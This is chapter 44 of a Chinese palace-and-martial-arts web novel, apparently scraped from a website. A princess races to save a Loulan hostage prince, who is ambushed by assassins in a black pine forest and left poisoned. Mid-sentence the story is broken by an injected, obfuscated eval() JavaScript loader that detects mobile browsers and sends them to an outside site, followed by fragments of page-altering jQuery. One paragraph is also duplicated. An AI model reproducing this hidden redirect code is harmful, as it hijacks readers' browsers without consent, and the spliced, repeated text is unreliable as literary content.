清末羽 作品
44. 黄雀在后
兰烟捧着浸了玫瑰露的帕子,指尖微微发颤。窗外天光微明,值夜的沈纤云正在小炉前煎药,药罐里咕嘟咕嘟的沸腾声,像极了前世楼兰沙漠里灼人的热风。
玉露匆匆跑进来,鬓角的碎发还沾着晨露:“质子已经离京,各宫都去送……”
话未说完,就被兰烟一个凌厉的眼神截住。玉露委屈地掏出个锦囊:“洛将军让转交给殿下的冰片,说是能止头痛。”
商芷机械地摩挲着锦囊上绣的松枝纹,指尖忽然一顿。这针脚,分明是江楼月当年在楼兰时最常穿的里衣纹样。她心头猛地一跳,锦囊从指间滑落,冰片撒了满床。
商芷机械地摩挲着锦囊上精致的松枝纹,指尖突然一顿。这针脚走势,分明是江楼月在楼兰时惯常穿的里衣纹样。她猛地攥紧锦囊,指节泛白,他来过?何时来的?为何不叫醒她,是因昨夜的事心中有愧吗?
“六妹可醒了?”
珠帘哗啦作响,商弦羿大步跨入内殿,砖红色锦袍的下摆还凝着未化的霜雪。他眉宇间带着风尘仆仆的倦色,却在看见商芷时露出温和的笑意。
商芷瞳孔微缩,锦被下的手指无意识地攥紧。皇兄完好无损地站在眼前,连发丝都未乱一分。
“皇兄……”她声音微颤,“黑松林的埋伏,都铲除了?”
商弦羿眉头一皱,抬手示意外围宫人退下:“埋伏?什么埋伏?”
商芷心头猛地一沉。她掀被下床,素白中衣被冷汗浸透,湿漉漉地贴在单薄的背脊上。看来他们的目标并非皇兄。
既然皇兄安然无恙,那么那些刺客的目标……
“备马!”她抓过屏风上的狐裘,指尖都在发抖,“质子走多久了?”
“两个时辰之前。”兰烟忙上前为她系上披风,“质子寅时来辞行,见殿下睡着就没让惊动。留了些东西,还特意叮嘱莫惊扰殿下安眠。”
玉露从多宝阁上取下一柄乌木匣:“殿下,这是质子让转交的。”
商芷指尖发颤地打开匣子,里面静静躺着一支白玉簪,簪头雕着盛放的沙枣花。这是楼兰王族给正妻的信物。前世江楼月直到她自尽那日,都未曾将此物赠予她。
商芷呼吸一滞。皇兄从胶东赈灾返京会途经黑松林,她只想着提醒皇兄避开险地,却忘了江楼月出京的路线也要经过!
“六妹?”商弦羿按住她发抖的手腕,触到满掌冷汗。
“来不及解释了。”商芷挣开他的手,“我要去黑松林。”
商弦羿眸光一凛,突然从袖中取出个精巧的檀木匣子扔给沈纤云:“收好。”转身时商芷看清了,那匣子上雕着并蒂莲纹,是沈纤云最爱的花样。
“本王同你去。”他按住腰间佩剑,玄色大氅在晨风中猎猎作响,“备双马!再调一队金鳞卫随行!”
商芷疾步往外走,却在门槛处猛地顿住。
“殿下?”玉露轻声唤道。
商芷闭了闭眼,再睁开时眸中只剩决绝:“走!他不能有事!”至少不能在大宏的地界出事。
宫门外,二十名金鳞卫已整装待发。商芷翻身上马时,听见沈纤云在身后急声道:“殿下,千万当心!”
商芷攥紧马鞭,心口突突直跳。两个时辰的差距,希望还来得及……
寒风呼啸,黑松林的树影如鬼魅般摇曳。
江楼月勒马停驻,玄色披风在风中猎猎作响。他眯眼望向幽深的林道,指尖轻轻摩挲着腰间的弯刀刀柄,这是楼兰王族世代相传的“寒魄刃”,刀身如新月般狭长锋利,在雪光下泛着森冷的光。
“少主,前方地势险要,有肃杀之气,还是小心为妙。”焰黎低声道,手已拔出背后的长刀。他身形挺拔如松,眉目冷峻。
“不对劲。”江楼月突然勒住缰绳,低声道,“松涛声里混着金属摩擦音,有埋伏!”
焰黎立即打出警戒手势,侍卫们瞬间变换阵型。东轲伊却嗤笑一声:“少主何时变得这般小心谨慎,这是大宏官道应……”
话音未落,一支鸣镝箭破空而来,直取江楼月咽喉!
“当——”
焰黎长刀如电,刀刃精准劈开箭矢,火星迸溅间厉声喝道:“护主上!”
刹那间,松林间黑影骤现。十余名黑衣刺客从树梢、雪地、岩石后暴起,手中兵器寒光凛冽。他们三人一组,呈犄角之势包抄而来,动作整齐划一,显然是训练有素的死士。
江楼月寒眸微眯,寒魄刃铮然出鞘,刀光如练。他双腿一夹马腹,骏马长嘶一声冲入敌阵。刀锋过处,几名刺客的弯刀应声而断,咽喉随即绽开一道血线。
“保护少主!”
楼兰侍卫们怒吼着结成圆阵。这些从大漠带来的精锐个个悍勇,弯刀挥舞间带起阵阵罡风。
一支三棱透甲箭破空而来,焰黎刀锋斜挑,箭矢擦着东轲伊脸颊划过,在他颧骨上留下一道血痕。
东轲伊用楼兰语低声咒骂。
第二波攻势迅速展开,二十名黑衣刺客分四组飞扑而来。
利刃疾驰而来。
一支淬毒冷箭破空而来,直取心口!
千钧一发之际,焰黎飞身扑来,长刀格开箭矢。却不料那箭尾系着细绳,另一端的刺客猛地一拽,焰黎身形顿时失衡。
“找死!”
江楼月寒魄刃脱手飞出,如新月划过夜空,将那拽绳刺客钉死在松树上。他反手接过侍卫抛来的备用弯刀,刀势不停,又连斩三人。
四个人手持带倒钩渔网的死侍,直冲东轲伊而去。东轲伊脸色骤变,动作顿时迟缓他曾在东海曾被渔网所困,留下旧伤。
扑向焰黎的刺客则全部左撇子。“破军九式”最擅长克制右利手,此刻却被逼得连连后退。
护着江楼月的外围护卫被那些人专攻下盘,每招都冲着楼兰人惯用的“沙蝎步法”破绽而去。他们靴底暗藏铁刺,每一步都在雪地里留下特制的铁蒺藜。
“这些人有备而来。”江楼月寒声道,手中弯刀划出新月般的弧光。
但刺客显然连他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639285|166935||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
刀法都摸透了,三人一组交替掩护,专门用包铜的盾牌格挡,寒魄刃每次劈砍都会在铜盾上留下深痕,却难以一击毙命。
“砰!”
一张铁网突然从天而降,将马背上的众人扫落在地。江楼月旋身避让,却发现网上缀着的铜铃发出刺耳鸣响。
楼兰人听力敏锐,这铁网人让他耳膜剧痛,动作慢了半拍,右肩顿时被钩爪撕开一道口子。
“小心弩箭!”东轲伊突然暴喝。
江楼月抬头,看见树梢间寒光点点。这不是普通的箭阵,而是经过精密计算的箭阵,十支箭雨先后射出,却会在空中形成同时到达的杀网。
寒魄刃舞成光轮,九支箭瞬间被斩落,第十支箭竟在半空突然分裂,三枚细如牛毛的毒针直取双目!江楼月急仰头,两根毒针擦着眼皮划过,最后一根却……
“少主闪开!”
东轲伊突然扑来,用后背挡住毒针。他踉跄着跪地,脸色瞬间发青:“是……东海青环蛇毒……”
当年他在东海就中过此毒,亏得幸运才捡了条命回来。
焰黎见状怒吼一声,刀势突变。
少年的双眸在突然暴涨的内功冲击下变成血红,迅速拔下后背上另一柄长刀,抛在空中,刀刃迅速断裂成碎片朝着面前敌人飞去,七名刺客咽喉同时绽开血花。这搏命打法让他经脉逆行,一口鲜血喷在雪地上。
江楼月寒眸骤冷,寒魄刃铮然出鞘,正要反击,却猛地身形一晃,猛然察觉自己后肩上不知何时已中了一箭,毒素已然蔓延,黑血顺着指尖滴落。
“首座……”身后的护卫咬牙拔出腿上的弩箭,脸色煞白,“密网难破,属下无能,所有人都中箭了……”
话音未落,松林深处突然传来一阵急促的马蹄声。
埋伏的杀手首领猛然抬手,示意众人停手。他侧耳倾听片刻,脸色微变:“头,公主殿下朝着这边来了,恐怕计划有变。”
“收网,莫留破绽!”
另一名杀手压低声音:“那这些楼兰人……”
首领冷笑一声:“他们中了毒,活不了多久。”
“撤!”
一声令下,所有刺客如鬼魅般退去,转眼间消失在黑松林的阴影之中。
江楼月强撑着最后一口气,睁眼打量周遭,恍惚间似是看到了商芷冷静的面容……
亦真亦幻。
“呵……”江楼月低笑一声,深蓝的眼底尽是寒意,“阿芷,原来……不想让我活着回去的人……竟然是你……”
“好……好……好!”
他每说一个“好”字,嘴角便溢出一缕黑血,最终支撑不住,轰然倒地。
“少主!”焰黎目眦欲裂,想要冲过去,却因内伤过重,踉跄着摔在雪地里。
东轲伊踉跄着跪倒在江楼月身旁,染血的手指颤抖着探向他的脉搏。
“好精妙的算计。”东轲伊冷笑一声,强忍着毒箭带来的麻痹感,从雪地里拾起半截断裂的箭矢,“连撤退时机都算得这般精准。”